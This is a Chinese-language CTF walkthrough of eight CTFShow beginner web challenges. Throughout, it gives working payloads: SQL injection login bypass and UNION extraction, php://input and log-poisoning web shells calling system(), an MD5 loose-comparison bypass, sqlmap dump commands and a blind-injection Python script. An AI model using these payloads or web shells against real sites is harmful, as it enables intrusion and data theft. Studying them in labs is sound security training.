CTFShow Web入门实战:从签到题到SQL注入的8个经典靶场复现指南
当你第一次接触CTF竞赛时,Web安全题目往往是最容易上手的切入点。CTFShow平台提供了一系列精心设计的Web题目,从最简单的签到题到需要复杂绕过的SQL注入,形成了一个循序渐进的学习路径。本文将带你一步步复现8个经典靶场,不仅告诉你"怎么做",更重要的是解释"为什么这么做"。
1. 初识CTFShow:Web签到题(web1)
任何CTF之旅都从签到题开始。web1作为最简单的入门题目,主要考察基础的页面审查能力。打开题目页面后,你会发现页面上似乎没有任何有用信息。
解决步骤:
- 在浏览器中右键点击页面,选择"检查"或直接按F12打开开发者工具
- 切换到"元素"或"Elements"标签页
- 仔细查看HTML源码,特别是注释部分
提示:现代Web开发中,开发者经常会在HTML中添加注释作为提示或调试信息
在源码中你会发现类似这样的注释:
<!-- flag is: ctfshow{19bdf375-f974-481e-8c62-0f4c3d170fb4} -->这个题目教会我们:永远先查看页面源码。很多初级题目都会把flag直接放在HTML注释中。
2. 基础SQL注入实战(web2)
web2题目引入了第一个真正的安全漏洞:SQL注入。这是一个典型的登录绕过场景,你需要不通过密码验证就能获取访问权限。
2.1 理解漏洞原理
SQL注入发生在应用程序将用户输入直接拼接到SQL查询中。例如:
$sql = "SELECT * FROM users WHERE username='".$_POST['username']."' AND password='".$_POST['password']."'";当用户输入特殊构造的字符串时,可以改变原始SQL的语义。
2.2 构造注入payload
尝试在用户名输入框中输入:
' or 1=1#这个payload的工作原理:
- 单引号
'闭合前面的字符串 or 1=1使条件永远为真#注释掉后面的SQL语句
关键点解析:
- 为什么使用
#而不是--?在MySQL中,#是行注释,而--需要后面跟一个空格 1=1是布尔表达式,永远返回true
2.3 进阶信息获取
登录后,我们可以进一步获取数据库信息:
- 确定列数:
' or 1=1 order by 4# // 测试列数,直到不报错- 获取数据库名:
' or 1=1 union select 1,database(),3#- 获取表名:
' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema='web2' limit 0,1),3#- 获取flag:
' or 1=1 union select 1,(select flag from flag limit 0,1),3#3. 文件包含漏洞利用(web3)
web3题目引入了文件包含漏洞,这是PHP应用中常见的安全问题。
3.1 理解文件包含
PHP的include、require等函数如果使用用户可控的参数,可能导致任意文件包含。题目中可能使用类似这样的代码:
include($_GET['file']);3.2 利用php://input协议
尝试使用php伪协议读取输入:
?file=php://input然后在POST body中发送:
<?php system("ls"); ?>为什么有效?
php://input允许读取原始的POST数据- 当被包含时,POST数据会被当作PHP代码执行
3.3 获取flag
找到flag文件后,可以直接读取:
<?php echo file_get_contents("/path/to/flag"); ?>4. 日志文件包含与RCE(web4)
web4是web3的进阶版,增加了过滤条件。我们需要利用服务器日志文件实现RCE。
4.1 发现日志文件路径
首先尝试访问常见的日志路径:
?url=/var/log/nginx/access.log4.2 污染日志文件
通过User-Agent注入PHP代码:
GET / HTTP/1.1 Host: target.com User-Agent: <?php system($_GET['cmd']);?>4.3 执行系统命令
包含被污染的日志文件后,就可以执行任意命令:
?url=/var/log/nginx/access.log&cmd=ls5. 代码审计与MD5绕过(web5)
web5需要审计给出的PHP代码,找到逻辑漏洞。
5.1 分析源代码
关键代码片段:
if(!ctype_alpha($v1)){ die("v1 error"); } if(!is_numeric($v2)){ die("v2 error"); } if(md5($v1)==md5($v2)){ echo $flag; }5.2 理解要求
v1必须全是字母v2必须全是数字md5(v1)和md5(v2)必须相等
5.3 利用PHP弱类型比较
PHP的==比较会进行类型转换。我们可以利用MD5哈希以"0e"开头的特殊值:
有效payload组合:
- v1=EEIZDOI
- v2=4011627063
验证它们的MD5:
MD5("EEIZDOI") = "0e782601363539291779881938479162" MD5("4011627063") = "0e485805687034439905938362701775"在PHP中,这两个字符串都会被当作科学计数法的0,因此相等。
6. SQL注入空格绕过(web6)
web6在web2的基础上增加了空格过滤,我们需要找到替代方案。
6.1 理解过滤机制
题目可能使用类似这样的过滤:
$input = str_replace(' ', '', $input);6.2 使用注释替代空格
在SQL中,/**/可以作为空格的替代:
1'/**/union/**/select/**/1,2,3#6.3 完整注入流程
- 确定注入点:
1'/**/or/**/1=1#- 获取数据库信息:
1'/**/union/**/select/**/1,database(),3#- 获取flag:
1'/**/union/**/select/**/1,flag,3/**/from/**/flag#7. 自动化工具sqlmap使用(web7)
web7适合使用自动化工具sqlmap来完成,这也是实际渗透测试中常用的方法。
7.1 基本探测命令
sqlmap -u "http://target.com/?id=1" --batch --dbs7.2 指定tamper脚本绕过过滤
sqlmap -u "http://target.com/?id=1" --tamper=space2comment --batch -D web7 -T flag --dump常用tamper脚本:
space2comment:用/**/替换空格between:用BETWEEN替换大于号randomcase:随机大小写
7.3 获取flag
sqlmap会自动识别注入点并获取flag,这是效率最高的方法。
8. 布尔盲注实战(web8)
web8是最具挑战性的布尔盲注题目,页面不会有直接的回显,只能通过页面差异判断。
8.1 理解盲注原理
盲注时,我们需要构造条件查询,根据页面反应判断条件真假:
1' and (select ascii(substr(database(),1,1)))>100#8.2 自动化脚本示例
import requests url = "http://target.com/?id=1" flag = "" for i in range(1,50): low = 32 high = 126 while low <= high: mid = (low + high) // 2 payload = f"1' and (select ascii(substr((select flag from flag),{i},1)))>{mid}#" r = requests.get(url + payload) if "some condition" in r.text: low = mid + 1 else: high = mid - 1 flag += chr(low) print(flag)8.3 优化技巧
- 使用二分查找提高效率
- 注意请求频率,避免被封禁
- 缓存已确定的结果,节省时间